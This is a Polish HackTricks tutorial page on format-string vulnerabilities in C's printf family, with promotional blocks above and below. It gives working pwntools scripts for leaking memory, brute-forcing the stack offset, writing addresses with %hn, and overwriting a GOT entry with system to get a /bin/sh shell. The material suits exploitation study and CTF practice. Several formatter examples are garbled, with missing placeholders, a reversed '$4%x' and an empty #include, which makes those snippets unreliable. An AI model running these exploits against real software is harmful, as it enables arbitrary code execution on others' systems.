# Ciągi formatujące
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! * Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Podstawowe informacje W języku C **`printf`** to funkcja, która może być używana do **wyświetlania** ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Następne parametry**, które są oczekiwane, to **wartości**, które mają **zastąpić** **formatery** z surowego tekstu. Inne podatne funkcje to **`sprintf()`** i **`fprintf()`**. Podatność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wykorzystując** możliwości **ciągu formatującego printf**, aby odczytać i **zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu)**. Dzięki temu będzie mógł **wykonać dowolny kod**. #### Formatery: ```bash %08x —> 8 hex bytes %d —> Entire %u —> Unsigned %s —> String %p —> Pointer %n —> Number of written bytes %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` **Przykłady:** * Wrażliwy przykład: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` * Normalne użycie: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` * Z Brakującymi Argumentami: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` * podatny fprintf: ```c #include int main(int argc, char *argv[]) { char *user_input; user_input = argv[1]; FILE *output_file = fopen("output.txt", "w"); fprintf(output_file, user_input); // The user input cna include formatters! fclose(output_file); return 0; } ``` ### **Dostęp do wskaźników** Format **`%$x`**, gdzie `n` to liczba, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić: ```c printf("%x %x %x %x") ``` i odczytałbyś od pierwszego do czwartego parametru. Albo możesz: ```c printf("$4%x") ``` i przeczytaj bezpośrednio czwarty. Zauważ, że atakujący kontroluje parametr `pr`**`intf`, co oznacza, że** jego wejście będzie na stosie, gdy zostanie wywołane `printf`, co oznacza, że może wpisać konkretne adresy pamięci na stosie. {% hint style="danger" %} Atakujący kontrolujący to wejście, będzie mógł **dodać dowolny adres na stosie i sprawić, że `printf` będzie mógł się do nich odwołać**. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie. {% endhint %} ## **Odczyt arbitralny** Możliwe jest użycie formatownika **`%n$s`** aby sprawić, że **`printf`** pobierze **adres** znajdujący się na **pozycji n**, a następnie **wydrukuje go jakby to był łańcuchem znaków** (wydrukuj do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to **`0x8048000`**, i wiemy, że wejście użytkownika zaczyna się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego z: ```python from pwn import * p = process('./bin') payload = b'%6$s' #4th param payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` {% hint style="danger" %} Należy pamiętać, że nie można umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony zerem na końcu tego adresu. {% endhint %} ### Znajdź przesunięcie Aby znaleźć przesunięcie dla swojego wejścia, możesz wysłać 4 lub 8 bajtów (`0x41414141`), a następnie **`%1$x`** i **zwiększyć** wartość, aż odzyskasz `A's`.
Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak from pwn import * # Iterate over a range of integers for i in range(10): # Construct a payload that includes the current integer as offset payload = f"AAAA%{i}$x".encode() # Start a new process of the "chall" binary p = process("./chall") # Send the payload to the process p.sendline(payload) # Read and store the output of the process output = p.clean() # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output if b"41414141" in output: # If the string is found, log the success message and break out of the loop log.success(f"User input is at offset : {i}") break # Close the process p.close() ```
### Jak użyteczne Arbitrary reads mogą być przydatne do: * **Wycieku** **binarnego** z pamięci * **Dostępu do konkretnych części pamięci, w których przechowywane są poufne** **informacje** (takie jak canaries, klucze szyfrowania lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** Formatter **`$%n`** **zapisuje** liczbę zapisanych bajtów pod wskazany adres w parametrze \ na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie mógł spowodować, że **`$%n`** zapisze dowolną liczbę pod dowolnym adresem. Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, można użyć formatera **`%.%$n`** do zapisania liczby **``** w **adresie wskazywanym przez pozycję `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` Jednakże zauważ, że zazwyczaj aby zapisać adres takiej jak `0x08049724` (który jest OGROMNY aby zapisać go naraz), **używa się `$hn`** zamiast `$n`. Pozwala to **zapisać tylko 2 bajty**. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najstarszych 2B adresu i drugi raz dla młodszych. Ta podatność pozwala na **zapisanie czegokolwiek pod dowolny adres (arbitrary write).** W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie później wywołana. Chociaż można to wykorzystać do innych technik zapisu arbitralnego do wykonania: {% content-ref url="../arbitrary-write-2-exec/" %} [arbitrary-write-2-exec](../arbitrary-write-2-exec/) {% endcontent-ref %} Nadpiszemy **funkcję**, która **przyjmuje** swoje **argumenty** od **użytkownika** i **wskażemy** ją na funkcję **`system`**.\ Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: Najpierw **zapisujesz 2 bajty** adresu, a następnie pozostałe 2. Do tego używa się **`$hn`**. * **HOB** odnosi się do 2 najstarszych bajtów adresu * **LOB** odnosi się do 2 młodszych bajtów adresu Następnie, ze względu na sposób działania łańcucha formatującego, musisz **najpierw zapisać mniejszy** z \[HOB, LOB\], a następnie drugi. Jeśli HOB < LOB\ `[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` Jeśli HOB > LOB\ `[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB {% code overflow="wrap" %} ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` {% endcode %} ### Szablon Pwntools Możesz znaleźć **szablon** do przygotowania eksploitu dla tego rodzaju podatności w: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) {% endcontent-ref %} Albo ten podstawowy przykład stąd [**tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * elf = context.binary = ELF('./got_overwrite-32') libc = elf.libc libc.address = 0xf7dc2000 # ASLR disabled p = process() payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) p.sendline(payload) p.clean() p.sendline('/bin/sh') p.interactive() ``` ## Formatowanie łańcuchów do przepełnienia bufora Możliwe jest nadużycie działań zapisu podatności na łańcuchy formatujące do **zapisywania adresów ze stosu** i wykorzystanie podatności typu **przepełnienie bufora**. ## Inne przykłady i odnośniki * [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) * [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html) * 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie łańcuchów formatujących do wycieku flagi ze stosu (nie trzeba zmieniać przepływu wykonania) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do zapisania adresu wewnątrz funkcji main w `.fini_array` (aby przepływ znowu się zapętlił) i zapisania adresu `system` w tabeli GOT wskazującej na `strlen`. Gdy przepływ wraca do funkcji main, `strlen` jest wykonywane z wejściem użytkownika i wskazując na `system`, co spowoduje wykonanie przekazanych poleceń.
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! * Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).